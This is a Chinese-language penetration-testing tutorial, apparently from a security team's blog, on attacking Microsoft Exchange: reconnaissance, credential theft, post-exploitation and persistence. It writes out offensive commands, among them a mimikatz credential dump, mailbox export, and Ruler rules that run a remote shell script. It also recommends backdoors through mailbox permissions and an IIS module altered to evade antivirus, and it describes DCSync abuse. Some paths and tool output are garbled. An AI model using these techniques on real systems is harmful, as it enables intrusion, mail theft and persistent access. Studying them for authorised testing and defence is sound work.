渗透测试中常常伴随着微软服务和组件的测试与利用。而Exchange是具备与环境企业首选的邮件服务器,通过与AD域的权限认证接通,可以方便地集成企业邮箱服务。
本文主要介绍Exchange的基础认识、发现利用、后渗透维持等。
0x01 初识Exchange
一、Exchange 服务器组成
Exchange主要是由Mailbox Server、Edge Transport Server、Client Access Server三部分组成的。
⚫ Mailbox Server(邮箱服务器)主要由以下四个作用:① 用于路由邮件的传输服务;②处理、呈现和存储数据的邮箱数据库;③接受所有协议的客户端访问服务;④语音邮件和其他电话功能的同意服务(UMS——unified messaging Server在2019中已经取消);
⚫ Edge Transport Server这一部分主要是用于处理Exchange的所有外部邮件流,通常安装在外围网络中,并订阅到内部Exchange组织中,当邮件进入和离开Exchange组织时,Edge Transport Server提供反垃圾和各种邮件流处理规则;
⚫ Client Access Server部分时客户端连接到目标邮箱服务器的中间层服务。
二、Exchange服务发现和信息收集
1. 利用SPN服务发现Exchange服务
在域环境中,AD(活动目录)域的每个服务都对应一个SPN,在内网机器上直接执行setspn.exe命令,即可查询到Exchange对应的SPN服务,从而锁定Exchange的位置。如下图所示:
setspn.exe -T xinghedashuaibi.com -F -Q */* | findstr exchange
2. 利用端口扫描发现Exchange服务
作为邮件服务器,Exchange会默认开放邮件通信相关的端口和自身需要的HTTP服务,可以利用端口扫描识别指纹信息,判断出Exchange服务。如下图所示:
3. Exchange内网ip信息泄露
当访问Exchange某些接口(/owa、/ews、/ecp等)时,如果将数据包协议降到1.0 并取消Header的Host内容,服务器会返回其IP地址。
请求正常为图一所示,修改后在返回包头Location中返回内网IP,如图二所示:
4. 利用NTLM认证收集信息
Exchange在很多接口上默认采用了NTLM认证,并通过NTLM认证去获取信息时,可以通过解开NTLM认证中的交换机内容获取服务器信息。
以/rpc接口为例,Exchange支撑RPC over HTTP技术,当调用/rpc/rpcproxy.dll接口时弹出认证如图一所示,通过抓取认证数据包发现,当客户端发起认证请求时,服务器返回了NTLM认证要求,如下图所示:
也可以使用NMAP的NTLM信息收集脚本来对Exchange进行信息收集。
5. 通过Web获取Exchange版本
对于Exchange各版本,微软官方都开放了内部版本号以供查询,读者可以自行查阅。在Exchange的HTTP服务的网页源码中,任何访问用户可以通过内部版本号来确定Exchange具体版本,如图下所示:
0x02 获取Exchange服务器权限
当我们在渗透测试中遇见Exchange Server时,该如何获取Exchange的凭证呢?
1.暴力破解
目前暴力破解时渗透人员经常采用的一种方式,但是为了爆破的成功率,建议在不同情况下采用下列方式进行破解。
https://github.com/sensepost/ruler
2.钓鱼
当然,通过钓鱼获取账户密码也是一种非常实用的方法,但是钓鱼对渗透人员的要求还是比较多的,例如钓鱼网页界面的还原度以及邮件内容等都是重要因素。
上述钓鱼方法对安全意识高的用户基本上是无效的,但是我们如果已经有了目标的内网权限,可以结合内网权限进行钓鱼测试。
下面工具是一个 PoC,用于演示攻击者对本地 Microsoft Exchange 服务器上的 EWS 端点执行基于 SMB 或 HTTP 的 NTLM 中继攻击以破坏受害者邮箱的能力。该工具为攻击者提供了一个类似于 OWA 的界面,可以访问用户的邮箱和联系人。有兴趣的朋友可以自行研究一下。
https://github.com/quickbreach/ExchangeRelayX
3. 抓取AD凭证登入
这种方法也是目前渗透测试中比较常见的一种,在获取到域控权限的情况下,可以使用Mimikatz抓取登录Exchange所需要的明文或者hash,利用抓取到的凭证进行登录。
mimikatz.exe privilege::debug sekurlsa::logonPasswords full
4. 劫持获取账户密码
从这篇文章中了解到可以利用JS劫持OWA登入口或者劫持AD。若已获取域控权限或Exchange Server权限,便可直接修改登入口,利用JS劫持点击事件。这个笔者还没有尝试,感兴趣的朋友可以尝试去试试。劫持AD的话可以利用插件进行劫持。
https://github.com/CaledoniaProject/PasswordFilter
5. CVE漏洞利用
通过以上的信息收集我们基本掌握了Exchange的基本信息。可以根据其版本信息进行查找补丁,如果没有打对应的补丁就可以尝试着攻击。一般实战中都是先攻击一波,如果没有成功再回来进行验证。CVE各种新旧漏洞利用网上复现的很多过程也详细,就不再此处过多赘述。Exchange利用
https://mp.weixin.qq.com/s/HGHSRqJtFp3_KMuc1n8tkg
0x03 Exchange服务器后渗透利用
1. Exchange服务器的信息收集
Exchange在内网中一般具有很高的权限,因此当我们在获取到Exchange服务器的权限后,就可以利用获取到的服务器中的邮件信息进行后渗透利用。在获取到Exchange服务器权限后,可以使用Powershell对整个服务器进行管理。不同版本的Exchange可能导致每个Powershell控制台文件路径不一样,所以首先要确定Exchange默认安装路径,可以通过环境变量来获取。
echo %ExchangeInstallPath%
控制台文件的相对位置是%ExchangeInstallPath%Binexshell.pscl,在加载控制台文件后,可以进行基本邮箱操作,如获取所有邮箱信息等
PowerShell.exe -PSConsoleFile "C:\Program Files\Microsoft\Exchange Server\V15\Bin\exshell.psc1" -Command "Get-Mailbox -ResultSize unlimited"
更多控制命令可以查看官方文档:
https://learn.microsoft.com/zh-tw/powershell/exchange/open-the-exchange-management-shell?redirectedfrom=MSDN&view=exchange-ps
①通过邮件跟踪日志获得收发邮件的相关信息
邮件跟踪日志详细的记录了详见流经邮箱服务器和边缘传输服务器的传输管道时的所有活动。渗透人员可以将邮件跟踪用于邮件取证、邮件流分析、报告和故障排除,从MessageTracking信息中提取有收件人、发件人、邮件主题、发件IP等信息
邮件跟踪日志位于
ExchangeInstallPath%TransportRolesLogsMessageTracking
目录下(这里是新搭建的服务器因此没有任何日志),我们在导出log日志后可以使用python脚本提取其中的关键信息。
②Exchange服务器上任意用户邮件导出
利用new-mailboxexportrequest函数(见Microsoft官网的相关页面)可以导出并筛选用户邮箱内容
PowerShell.exe -PSConsoleFile "C:\Program Files\Microsoft\Exchange Server\V15\Bin\exshell.psc1" -Command "New-MailboxExportRequest -Mailbox alice -FilePath '\localhostc$testalice.pst'"
2. 邮箱接管后门种植
Exchange可以让用户通过以下4种方式访问其他用户的邮箱
每个权限的添加,Exchange都提供了完整的操作文档用作参考,渗透人员只需要根据自身需求查阅即可。
在实战中,建议一般对目标邮箱留存模拟权限和完全访问权限,这样就可以在外部网络中通过直接访问Exchange的/EWS和/OWA接口,达到读取筛选邮件的效果。
3. IIS模块后门
IIS可以通过添加本地模块的方式扩展功能,攻击人员也可以利用IIS的可扩展性来为Web服务器设置后门,并执行渗透人员定义的操作。Exchange的web服务本身建立在IIS服务器上,所以可以通过添加本地模块的方式为Exchange注入后门程序。
通过IIS-RAID就可以实现该功能。实战中,测试人员可以根据开源的代码进行修改和免杀。
4. 利用WriteACL权限进行DCSYNC
由于安装Exchange后,Exchange在Active Directory域中具有高权限,Exchange的本地计算机账户会被加入用户组 Exchange Trusted Subsystem, Exchange Trusted Subsystem 用户组又隶属于Exchange Windows Permissions。Exchange Windows Permissions这个组默认对域有 WriteACL权限。所以当我们拿下Exchange服务器的时候,就可以尝试使用 WriteACL 赋予指 定用户 Dcsync 的权限。
脚本:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
5. Rules利用
如果我们想要对每个账户的使用者进行横向,可以利用Rules and Alerts给指定账号创建规则,如果客户福安使用的是out look,将允许其下次登入时执行这些规则,进而获取使用者pc权限。
使用下面工具进行规则创建:
https://github.com/sensepost/ruler/wiki/Rules
创建规则:
./ruler --email [email protected] --username username add --location "\\yourServer\webdav\shell.bat" --trigger "popashell" --name maliciousrule
各个部分:
☑️location 这是您的远程shell的位置,请注意双斜杠(或 c:/Windows/system32/calc.exe)
☑️trigger 您要触发规则的主题中的字符串
☑️name 规则的名称
输出:
[ ] Retrieving MAPI info
[for domain[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/[email protected][+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford ] Doing Autodiscover
[ ] Got Context, Doing ROPLogin
[ ] And we are authenticated
[ ] Openning the Inbox
[ ] Adding Rule
[1 rules ] Rule Added. Fetching list of rules...[+] Found
Rule: shell RuleID: 01000000127380b1
发送:
./ruler --email [email protected] send --subject test --body "this is a test"
删除:
./ruler --email userdelete --id 000000df1 .com --username username
./ruler --email userdelete --name myrule .com --username username
0x04 渗透实例
run autoroute -s 10.10.10.0/24
proxychains nmap -sT 10.10.10.3 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
cd "C:UsersAdministratorDocumentsOutlook 文件"
原文始发于微信公众号(雁行安全团队):Exchange Server 渗透利用方法